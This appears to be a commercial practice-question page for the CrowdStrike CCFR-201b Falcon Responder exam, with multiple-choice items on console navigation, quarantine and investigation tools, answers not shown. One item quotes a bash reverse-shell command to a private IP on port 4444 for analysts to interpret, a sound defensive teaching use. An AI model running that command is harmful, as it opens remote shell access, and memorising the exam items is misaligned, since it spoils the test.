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Free Practice Questions for the CrowdStrike CCFR CCFR-201b Exam (2026 Updated)

At Marks4sure, we are dedicated to providing IT professionals with the most accurate and reliable preparation materials for the CrowdStrike CCFR-201b exam. To support your certification journey, we have made a selection of our premium 2026 CCFR practice questions and answers available completely free. You can take this practice test as many times as you need. Every question includes a detailed, expertly verified explanation to ensure you fully grasp the core security concepts before test day.

Questions 4

A responder needs to find a specific sequence of network connections that did not trigger a detection. Which search tool allows them to search for anything within the raw telemetry?

Options:

A.

Host Search

B.

Event Search

C.

Hash Search

D.

User Search

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Questions 5

When a responder chooses to ' Release ' a file from quarantine because it was determined to be a false positive, what type of allowlist is automatically created in the background?

Options:

A.

Filename-based allowlist

B.

Hash-based allowlist

C.

Path-based allowlist

D.

Command-line allowlist

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Questions 6

Which of the following sentences best describes the primary use of ' Retrospective Analysis ' ?

Options:

A.

Identifying future threats using predictive AI models.

B.

Applying an investigative approach across historical timed buckets of telemetry to find past activity.

C.

Terminating a malicious process as it starts to execute.

D.

Recovering files that were encrypted by a ransomware attack.

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Questions 7

A responder is explaining the quarantine process to a system administrator. What happens technically when a file is quarantined by the Falcon sensor?

Options:

A.

It is deleted from the disk and a log is sent to the cloud.

B.

It is moved to the CrowdStrike Cloud and removed from the local host immediately.

C.

It is compressed, password protected, and moved to the Quarantine folder on the endpoint.

D.

It is renamed to a .tmp extension and moved to the Windows Recycle Bin.

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Questions 8

An executive asks for a definition of ' CrowdScore ' . Which of the following sentences best describes what CrowdScore is?

Options:

A.

It is a ranking system that compares your organization’s security to other companies.

B.

It is a metric designed to show an organization ' s threat level on a continual basis by aggregating related detections.

C.

It is the total number of detections that have been resolved within the last 24 hours.

D.

It is a measure of the total processing power being used by the Falcon sensors globally.

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Questions 9

While reviewing the ' Detection Method ' field for a high-severity alert, a responder sees the label ' Post-Exploit ' . This terminology is used by CrowdStrike to identify a specific:

Options:

A.

Falcon Detection Method

B.

MITRE Tactic

C.

Indicator of Attack (IOA)

D.

Prevention Policy Level

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Questions 10

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CCFR-201b Question 10

You receive the detection displayed in the image above on a host in your environment.

Assuming you have the correct permissions, where would you navigate to remotely connect to the host and investigate further?

Options:

A.

Investigate > Connect to host

B.

View Incident > Connect to host

C.

Actions > Connect to host

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Questions 11

Responders must understand the limitations and capabilities of custom rules. Which of the following statements about custom IOAs is FALSE?

Options:

A.

They can be used to monitor or block specific command-line strings.

B.

A Custom IOA rule group can only be applied to one single prevention policy.

C.

They can generate ' Informational ' detections if set to the ' Monitor ' action.

D.

They allow for pattern matching using wildcards or specific strings.

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Questions 12

Which of the following statements about the ' Hash Search ' (Single Search) is TRUE?

Options:

A.

It can search for both files and registry keys simultaneously.

B.

It identifies the geographical location of the file ' s creator.

C.

The ' Hash Written History ' section is only available for SHA256 hashes.

D.

It is primarily used to isolate a host from the network.

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Questions 13

Administrators can define their own criteria for alerts. Which of the following is an example of a custom detection within the Falcon platform?

Options:

A.

Sensor-based Malware Detections

B.

Blacklisted Hashes

C.

Overwatch Managed Detections

D.

Behavioral IOA Detections

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Questions 14

A responder is focused on a specific malicious script and wants to see everything that the script ' s process did. Which timeline is the best tool for this task?

Options:

A.

Host Timeline

B.

Process Timeline

C.

User Timeline

D.

Administrative Timeline

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Questions 15

What does the Full Detection Details option provide?

Options:

A.

It provides a visualization of program ancestry via the Process Tree View

B.

It provides a visualization of program ancestry via the Process Activity View

C.

It provides detailed list of detection events via the Process Table View

D.

It provides a detailed list of detection events via the Process Tree View

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Questions 16

While the host timeline is comprehensive, some data is not included in that specific view. Which of the following CANNOT be seen directly from the host timeline?

Options:

A.

Timestamp

B.

Event Name

C.

PID (Process ID)

D.

CPU Temperature

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Questions 17

The Bulk Domain Search tool contains Domain information along with which of the following?

Options:

A.

Process Information

B.

Port Information

C.

IP Lookup Information

D.

Threat Actor Information

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Questions 18

An adversary is attempting to disable security features by modifying the system registry. Which of the following native Windows processes is specifically designed to create, modify, and delete Registry keys via the command line?

Options:

A.

reg.exe

B.

taskmgr.exe

C.

lsass.exe

D.

svchost.exe

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Questions 19

A SOC Manager is reviewing the monthly efficiency of the incident response team. They are specifically analyzing how many alerts were handled by each individual analyst and the ratio of legitimate threats to noise to optimize staffing levels. While navigating the Detection Resolutions Dashboard, which of the following metrics would they NOT find, as it is primarily located within the Activity or Executive summary dashboards?

Options:

A.

Detections by user (Analyst performance)

B.

Total Detections by Host

C.

Total count of False Positives

D.

Detection resolution status breakdown

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Questions 20

What happens when you open the full detection details?

Options:

A.

Theprocess explorer opens and the detection is removed from the console

B.

The process explorer opens and you ' re able to view the processes and process relationships

C.

The process explorer opens and the detection copies to the clipboard

D.

The process explorer opens and the Event Search query is run for the detection

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Questions 21

Refer to the image.

Command line:

/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1

File path:

/bin/bash

You receive a detection on the Bash process indicating the command line in the image above.

Based on the command line, what is the next step you should take?

Options:

A.

Investigate the host for manipulation of the root folder

B.

Investigate the host for any Potentially Unwanted Programs (PUP)

C.

Investigate the host for an interactive remote terminal

D.

Investigate the host for developer activity

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Questions 22

Multiple detections with the process schtasks.exe begin to alert in the UI. The process executes the following command line on several unique hosts:

schtasks.exe /Query /TN " Qljsscdqr "

What is the most efficient way to identify which hosts are executing this scheduled task?

Options:

A.

Filter detections by command line and sort by ' Host:A to Z '

B.

Filter detections by command line and group by triggering file

C.

Filter detections by the triggering file and sort by ' Host:A to Z '

D.

Filter detections by command line and group by host

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Questions 23

When viewing the summary list on the ' Endpoint Detections ' page, an analyst sees a column for the timestamp. What does the timestamp in this specific summary view represent?

Options:

A.

The exact time the Falcon sensor was first installed on the host.

B.

The timestamp of the last activity recorded for that specific detection.

C.

The time the detection was first assigned to a human analyst.

D.

The file creation time for the primary process involved in the alert.

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Questions 24

An analyst needs to quickly view the activity surrounding a suspicious process. Which of the following sequences of steps will pivot to an auto-filled process timeline in the Falcon UI?

Options:

A.

Host Search > Processes and Services > Filename > Start Time > Process ID

B.

Activity Dashboard > Click Detection > Export to PDF

C.

Investigate > Bulk Search > Enter SHA256 > View Results

D.

Configuration > Host Groups > Select Host > Network History

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Questions 25

In the ' Graph View ' of a detection, processes are connected by arrows. Which of the following does a yellow arrow connecting two processes indicate?

Options:

A.

A standard Parent-Child relationship.

B.

A Network connection was established between the two processes.

C.

A Thread Injector-Injectee relationship (Process Injection).

D.

A file was written by the first process and read by the second.

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Questions 26

Your lead analyst instructs you to dump the kernel memory of a Windows system using Real Time Response (RTR).

Which native RTR command best helps you to quickly achieve the task?

Options:

A.

CSWINDIAG

B.

dumpmem

C.

xmemdump

D.

memdump

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Questions 27

The ' Detection Resolutions ' dashboard helps track team performance. Which of the following CANNOT be seen from this dashboard?

Options:

A.

Average time to resolve a detection.

B.

Total number of detections resolved by each analyst.

C.

The top 10 hosts/users/files with the most detections.

D.

The breakdown of True Positive vs. False Positive resolutions.

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Questions 28

During a targeted investigation into a potentially compromised internal administrative account, a responder utilizes the User Search functionality within the Investigate menu. The goal is to identify if the account was leveraged to drop or launch unauthorized binaries across multiple systems in the environment. Which specific data category is natively visible in the User Search results to facilitate this check?

Options:

A.

Registry Key Operations

B.

Network File Transfer ports

C.

Unique Executables Written and Process Executions

D.

BIOS and Hardware modification logs

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Questions 29

You are pre-staging a Custom IOC for later use and want to save a file hash for later use after approval.

Which action should you use?

Options:

A.

Save Hash

B.

Monitor

C.

No Action

D.

Always Block

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Questions 30

You are reviewing the raw data in an event search from a detection tree. You find a FileOpenlnfo event and want to find out if any other files were opened by the responsible process. Which two field values do you need from this event to perform a Process Timeline search?

Options:

A.

ParentProcessld_decimal and aid

B.

ResponsibleProcessld_decimal and aid

C.

ContextProcessld_decimal and aid

D.

TargetProcessld_decimal and aid

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Questions 31

Which of the following statements about the ' Detection Activity ' report is FALSE?

Options:

A.

It provides a summary of all alerts over a selected time period.

B.

It can be filtered by host name or severity.

C.

Clicking on a ProcessID value within the report pivots to a pre-populated Event Search.

D.

The report can be exported to a CSV file.

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Questions 32

A responder is analyzing a file ' s prevalence. If the data shows ' Local: High ' and ' Global: Unique ' , which of the following is the most likely conclusion?

Options:

A.

The file is common off-the-shelf malware seen globally.

B.

The file is internally developed software unique to the organization.

C.

The file is a standard Windows system component.

D.

The file is a known commodity tool used by many different actors.

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Questions 33

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CCFR-201b Question 33

You are using Advanced Event Search to find the event record for a suspicious network connection.

Using the Event List Interactions button for the event, indicated by the arrow in the image above, which option will show all contextual event data around the process execution being investigated?

Options:

A.

Show Responsible Process Data

B.

Inspect

C.

Show +/- 10-minute windows of events

D.

Investigate Host

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Questions 34

When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?

Options:

A.

Username

B.

Hostname

C.

Process ID

D.

Time Range

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Questions 35

CrowdStrike supports various deployment types. What is a ' POD sensor ' ?

Options:

A.

A sensor specifically designed for mobile devices (iOS/Android).

B.

A sensor that is installed directly on a Kubernetes or Docker host to monitor containers.

C.

A legacy sensor used only for disconnected or air-gapped systems.

D.

A physical appliance that sits on the network to monitor traffic.

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Questions 36

You are notified by a third-party that a program may have redirected traffic to a malicious domain. Which Falcon page will assist you in searching for any domain request information related to this notice?

Options:

A.

Falcon X

B.

Investigate

C.

Discover

D.

Spotlight

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Questions 37

How long does detection data remain in the CrowdStrike Cloud before purging begins?

Options:

A.

90 Days

B.

45 Days

C.

30 Days

D.

14 Days

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Questions 38

What types of events are returned by a Process Timeline?

Options:

A.

Only detection events

B.

All cloudable events

C.

Only process events

D.

Only network events

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Questions 39

What actions are available for domain name-based Indicators of Compromise (IOCs) in Falcon?

Options:

A.

Detect only

Allow

B.

Block

Detect only

Allow

C.

Block

Allow

No action

D.

Detect only

No action

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Questions 40

While quarantined files stay on the local host for 30 days by default, how many days does a quarantined file remain stored in the CrowdStrike Cloud?

Options:

A.

30 days

B.

60 days

C.

90 days

D.

180 days

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Questions 41

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CCFR-201b Question 41

Within a Host Search, you have filtered for cmd.exe in the Process executions table and now need to pivot to a process timeline.

Which item in the table do you select to pivot to the Process Timeline?

Options:

A.

PID

B.

Process ID

C.

Command Line

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Questions 42

CrowdScore is a metric used to identify the severity of an ongoing incident. What percentage of increase in a CrowdScore is considered a strong indication of a coordinated attack?

Options:

A.

10%

B.

20%

C.

50%

D.

100%

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Questions 43

During an advanced hunting session, a responder is writing a custom query in the Event Search tool to track the lineage of a suspicious process. They notice a field labeled TargetProcessId_decimal. Which of the following sentences accurately describes the technical significance of this value within the CrowdStrike telemetry ecosystem?

Options:

A.

It is the standard Process ID (PID) assigned by the Windows Task Manager.

B.

It is a sensor-assigned, environment-wide unique decimal identifier for that specific process instance.

C.

It represents the memory offset where the process ' s primary thread began.

D.

It is a count of the total number of child processes spawned by that executable.

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Questions 44

How long are quarantined files stored on the host?

Options:

A.

45 Days

B.

30 Days

C.

Quarantined files are never deleted from the host

D.

90 Days

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Questions 45

When navigating the ' Custom IOA ' creation wizard, a user must select a rule type. Which of the following is NOT a valid IOA rule type available for selection?

Options:

A.

Process Creation

B.

File Creation

C.

Domain Name

D.

Scheduled Task

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Questions 46

A responder is unsure about the difference between ' Detection ' and ' Prevention ' settings. Where can they find information about Detection and Prevention Policies?

Options:

A.

On the public CrowdStrike blog.

B.

In the Support page under the Docs section.

C.

By clicking the ' About ' button in the user profile.

D.

In the training videos on the main Dashboard.

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Questions 47

When managing files within the ' Quarantined Files ' dashboard, which of the following is NOT a valid action available to the responder?

Options:

A.

Release

B.

Download

C.

Investigate

D.

Delete

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Questions 48

In the ' Investigate > Hunt > Linux Sensors ' dashboard, responders can view various Linux-specific activities. Which of the following sub-titling is NOT displayed in this dashboard?

Options:

A.

Sudo Executions

B.

Cron Usage

C.

Kernel Module Loads

D.

User Logins

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Questions 49

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CCFR-201b Question 49

In the Full Detection View while viewing the Process Tree you see an attack outlined as in the image above.

Based on what you see, what happened during the attack?

Options:

A.

The attacker launched a command prompt, renamed binaries, executed malware, and prepared exfiltration

B.

The attacker launched a command prompt to establish a reverse shell to grant remote code execution capabilities

C.

The attacker executed malware, renamed binaries, prepared exfiltration, and deleted backups to prevent recovery

D.

The attacker launched a command prompt, enumerated the host, created persistence, and deleted backups to prevent recovery

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Questions 50

What information is contained within a Process Timeline?

Options:

A.

All cloudable process-related events within a given timeframe

B.

All cloudable events for a specific host

C.

Only detection process-related events within a given timeframe

D.

A view of activities on Mac or Linux hosts

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Questions 51

A list of managed and unmanaged neighbors for an endpoint can be found:

Options:

A.

by using Hosts page in the Investigate tool

B.

by reviewing " Groups " in Host Management under the Hosts page

C.

under " Audit " by running Sensor Visibility Exclusions Audit

D.

only by searching event data using Event Search

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Questions 52

In the ' User Search - File Written ' section, a responder can see various files dropped by a user. Which of the following file types CANNOT be seen from this view?

Options:

A.

Scripts (.ps1, .sh)

B.

Executables (.exe)

C.

Executions (Process starts)

D.

Archive files (.zip, .7z)

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Questions 53

To speed up investigations, Falcon uses ' event workflows ' . Which of the following sentences best describes what event workflows are?

Options:

A.

They are automated scripts that perform remediation actions like killing processes.

B.

They are automated searches that can be used to pivot between related events and searches.

C.

They are PDF reports that summarize an incident for executive review.

D.

They are schedules for when the sensor should perform a full disk scan.

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Questions 54

Where can you find hosts that are in Reduced Functionality Mode?

Options:

A.

Event Search

B.

Executive Summary dashboard

C.

Host Search

D.

Installation Tokens

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Questions 55

The Falcon console is divided into several modules. Timelines (Host and Process) are technically a part of which Falcon page?

Options:

A.

Activity

B.

Investigate

C.

Configuration

D.

Dashboards

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Questions 56

Within the MITRE-Based Falcon Detections Framework, what is the correct way to interpret Keep Access > Persistence > Create Account?

Options:

A.

An adversary is trying to keep access through persistence by creating an account

B.

An adversary is trying to keep access through persistence using browser extensions

C.

An adversary is trying to keep access through persistence using external remote services

D.

adversary is trying to keep access through persistence using application skimming

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Questions 57

Where are quarantined files stored on Windows hosts?

Options:

A.

Windows\Quarantine

B.

Windows\System32\Drivers\CrowdStrike\Quarantine

C.

Windows\System32\

D.

Windows\temp\Drivers\CrowdStrike\Quarantine

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Questions 58

When navigating the main ' Detections ' page, several filters are available in the dropdown menu. Which of the following is NOT a filter available in this menu?

Options:

A.

Severity

B.

Tactic

C.

Location tag

D.

Status

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Questions 59

In the Hash Search tool, which of the following is listed under Process Executions?

Options:

A.

Operating System

B.

File Signature

C.

Command Line

D.

Sensor Version

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Exam Code: CCFR-201b
Exam Name: CrowdStrike Certified Falcon Responder
Last Update: Jul 3, 2026
Questions: 199

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